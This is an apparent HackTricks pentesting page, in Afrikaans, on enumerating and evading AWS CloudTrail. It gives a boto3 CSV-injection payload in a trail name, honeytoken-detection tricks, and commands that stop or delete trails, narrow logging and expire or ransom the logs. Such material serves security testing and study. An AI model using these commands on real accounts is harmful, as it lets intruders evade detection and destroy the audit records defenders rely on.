# AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

## **CloudTrail**

AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenislogs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opvolging. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker.

Elke gelogde gebeurtenis bevat:

- Die naam van die aangeroep API: `eventName`
- Die aangeroep diens: `eventSource`
- Die tyd: `eventTime`
- Die IP adres: `SourceIPAddress`
- Die agent metode: `userAgent`. Voorbeelde:
- Signing.amazonaws.com - Van AWS Bestuurskonsol
- console.amazonaws.com - Wortel gebruiker van die rekening
- lambda.amazonaws.com - AWS Lambda
- Die versoekparameters: `requestParameters`
- Die respons elemente: `responseElements`

Gebeurtenisse word na 'n nuwe loglêer **ongeveer elke 5 minute in 'n JSON-lêer** geskryf, hulle word deur CloudTrail gehou en uiteindelik, loglêers word **aan S3 afgelewer ongeveer 15min na**.\
CloudTrail se logs kan **geaggregeer word oor rekeninge en oor streke.**\
CloudTrail laat toe om **loglêer integriteit te gebruik om te kan verifieer dat jou loglêers onveranderd gebly het** sedert CloudTrail dit aan jou afgelewer het. Dit skep 'n SHA-256 hash van die logs binne 'n digest-lêer. 'n sha-256 hash van die nuwe logs word elke uur geskep.\
Wanneer 'n Trail geskep word, sal die gebeurteniskeuses jou toelaat om die spoor aan te dui om te log: Bestuur, data of insig gebeurtenisse.

Logs word in 'n S3-bucket gestoor. Standaard word Server Side Encryption (SSE-S3) gebruik, so AWS sal die inhoud ontsleutel vir die mense wat toegang het, maar vir bykomende sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik.

Die logs word gestoor in 'n **S3-bucket met hierdie naamformaat**:

- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- Waar die BucketName is: **`aws-cloudtrail-logs-<accountid>-<random>`**
- Voorbeeld: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**

Binne elke gids sal elke log 'n **naam hê wat hierdie formaat volg**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**

Log Lêer Naam Konvensie

![](<../../../../images/image (122).png>)

Boonop, **digest-lêers (om lêer integriteit te kontroleer)** sal binne die **dieselfde bucket** wees in:

![](<../../../../images/image (195).png>)

### Geaggregeerde Logs van Meerdere Rekeninge

- Skep 'n Trail in die AWS rekening waar jy wil hê die loglêers moet afgelewer word
- Pas toestemmings toe op die bestemmings S3-bucket wat kruis-rekening toegang vir CloudTrail toelaat en laat elke AWS rekening wat toegang benodig toe
- Skep 'n nuwe Trail in die ander AWS rekeninge en kies om die geskepte bucket in stap 1 te gebruik

Tog, selfs al kan jy al die logs in dieselfde S3-bucket stoor, kan jy nie CloudTrail logs van meerdere rekeninge in 'n CloudWatch Logs wat aan 'n enkele AWS rekening behoort, aggregeer nie.

> [!CAUTION]
> Onthou dat 'n rekening **verskillende Trails** van CloudTrail **geaktiveer** kan hê wat dieselfde (of verskillende) logs in verskillende buckets stoor.

### Cloudtrail van alle org rekeninge in 1

Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en die logs in net 1 bucket te kry:

<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>

Op hierdie manier kan jy maklik CloudTrail in al die streke van al die rekeninge konfigureer en die logs in 1 rekening sentraliseer (wat jy moet beskerm).

### Log Lêers Kontrole

Jy kan kontroleer dat die logs nie verander is nie deur te loop
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch

**CloudTrail kan outomaties logs na CloudWatch stuur sodat jy waarskuwings kan stel wat jou waarsku wanneer verdagte aktiwiteite uitgevoer word.**\
Let daarop dat om CloudTrail toe te laat om die logs na CloudWatch te stuur, 'n **rol** geskep moet word wat daardie aksie toelaat. Indien moontlik, word dit aanbeveel om die AWS standaardrol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om:

- CreateLogStream: Dit laat jou toe om 'n CloudWatch Logs log streams te skep
- PutLogEvents: Lewer CloudTrail logs aan CloudWatch Logs log stream

### Event History

CloudTrail Event History laat jou toe om in 'n tabel die logs wat opgeneem is, te inspekteer:

![](<../../../../images/image (89).png>)

### Insights

**CloudTrail Insights** analiseer outomaties **skryfbestuur** gebeurtenisse van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insight gebeurtenis sien. Hierdie gebeurtenisse maak **dit makliker om ongewone API aktiwiteit te vind en daarop te reageer** as ooit tevore.

Die insigte word in dieselfde emmer as die CloudTrail logs gestoor in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`

### Security
| Control Name	                       |  Implementation Details                                                                                                                                                                                                                                                                                                                                     |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity        | <ul><li>Verifieer of logs gemanipuleer is (gewysig of verwyder)</li><li><p>Gebruik digest lêers (skep hash vir elke lêer)</p><ul><li>SHA-256 hashing</li><li>SHA-256 met RSA vir digitale ondertekening</li><li>privaat sleutel besit deur Amazon</li></ul></li><li>Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)</li></ul> |
| Stop unauthorized access             | <ul><li><p>Gebruik IAM beleid en S3 emmer beleid</p><ul><li>sekuriteitspan —> admin toegang</li><li>ouditeurs —> lees slegs toegang</li></ul></li><li>Gebruik SSE-S3/SSE-KMS om die logs te enkripteer</li></ul>                                                                                                                                        |
| Prevent log files from being deleted | <ul><li>Beperk verwyder toegang met IAM en emmer beleid</li><li>Konfigureer S3 MFA verwydering</li><li>Verifieer met Log File Validation</li></ul>                                                                                                                                                                                            |

## Access Advisor

AWS Access Advisor staat op die laaste 400 dae AWS **CloudTrail logs om sy insigte te versamel**. CloudTrail vang 'n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in 'n AWS rekening gemaak is. Access Advisor gebruik hierdie data om **te wys wanneer dienste laas toeganklik was**. Deur CloudTrail logs te analiseer, kan Access Advisor bepaal watter AWS dienste 'n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor **die verfyning van toestemmings**, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige breë toestemmings kan verminder op grond van werklike gebruikspatrone.

> [!TIP]
> Daarom informeer Access Advisor oor **die onnodige toestemmings wat aan gebruikers gegee word** sodat die admin dit kan verwyder

<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>

## Actions

### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **CSV Injection**

Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\
Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die payload bevat:
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
Vir meer inligting oor CSV-inspuitings, kyk na die bladsy:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}

Vir meer inligting oor hierdie spesifieke tegniek, kyk [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)

## **Om Detection te omseil**

### HoneyTokens **omseil**

Honeytokens word geskep om **die uitvloeiing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het.

E however, Honeytokens soos die wat deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) geskep is, gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat skep, **kan jy weet of die sleutel 'n honeytoken is of nie**.

[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) het 'n paar reëls om te detecteer of 'n sleutel aan [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** behoort:**

- As **`canarytokens.org`** in die rolnaam verskyn of die rekening ID **`534261010715`** in die foutboodskap verskyn.
- Deur hulle meer onlangs te toets, gebruik hulle die rekening **`717712589309`** en het steeds die **`canarytokens.com`** string in die naam.
- As **`SpaceCrab`** in die rolnaam in die foutboodskap verskyn.
- **SpaceSiren** gebruik **uuids** om gebruikersname te genereer: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- As die **naam soos lukraak gegenereer lyk**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is.

#### Kry die rekening ID van die Sleutel ID

Jy kan die **Rekening ID** kry van die **gecodeerde** binne die **toegangssleutel** soos [**hier verduidelik**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) en die rekening ID met jou lys van Honeytokens AWS rekeninge nagaan:
```python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Kontroleer meer inligting in die [**oorspronklike navorsing**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).

#### Moet nie 'n log genereer nie

Die mees effektiewe tegniek hiervoor is eintlik 'n eenvoudige een. Gebruik net die sleutel wat jy pas gevind het om toegang te verkry tot 'n diens binne jou eie aanvallersrekening. Dit sal **CloudTrail 'n log binne JOU EIE AWS-rekening genereer en nie binne die slagoffers nie**.

Die ding is dat die uitvoer 'n fout sal toon wat die rekening-ID en die rekeningnaam aandui, sodat **jy sal kan sien of dit 'n Honeytoken is**.

#### AWS-dienste sonder logs

In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail stuur nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **reageer** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry.

Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy-rekening-ID en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is.

![](<../../../../images/image (93).png>)

> [!CAUTION]
> Let daarop dat alle openbare API's wat ontdek is dat hulle nie CloudTrail-logs genereer nie, nou reggestel is, so dalk moet jy jou eie vind...
>
> Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).

### Toegang tot Derde Infrastruktuur

Sekere AWS-dienste sal **'n bietjie infrastruktuur** soos **Databasisse** of **Kubernetes** klusters (EKS) **skep**. 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie.

Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, 'n token plaaslik genereer en **direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word**.

Meer inligting in:

{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation/README.md
{{#endref}}

### Wysig CloudTrail Konfigurasie

#### Verwyder spore
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### Stop spore
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Deaktiveer multi-region logging
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### Deaktiveer Logging deur Gebeurtenis Keuses
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
In die eerste voorbeeld word 'n enkele gebeurteniskeuse as 'n JSON-array met 'n enkele objek voorsien. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurteniskeuse slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie).

Jy kan die gebeurteniskeuse aanpas op grond van jou spesifieke vereistes.

#### Logs verwydering via S3 lewensiklusbeleid
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modifisering van Emmer Konfigurasie

- Verwyder die S3-emmer
- Verander emmerbeleid om enige skrywe van die CloudTrail-diens te weier
- Voeg lewensiklusbeleid by S3-emmer om voorwerpe te verwyder
- Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logs te enkripteer

### Cloudtrail ransomware

#### S3 ransomware

Jy kan **'n asimmetriese sleutel genereer** en **CloudTrail die data met daardie sleutel enkripteer** en **die private sleutel verwyder** sodat die CloudTrail-inhoud nie herstel kan word nie.\
Dit is basies **S3-KMS ransomware** wat verduidelik word in:

{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}

**KMS ransomware**

Dit is 'n maklike manier om die vorige aanval met verskillende toestemmingsvereistes uit te voer:

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
{{#endref}}

## **Verwysings**

- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)

{{#include ../../../../banners/hacktricks-training.md}}
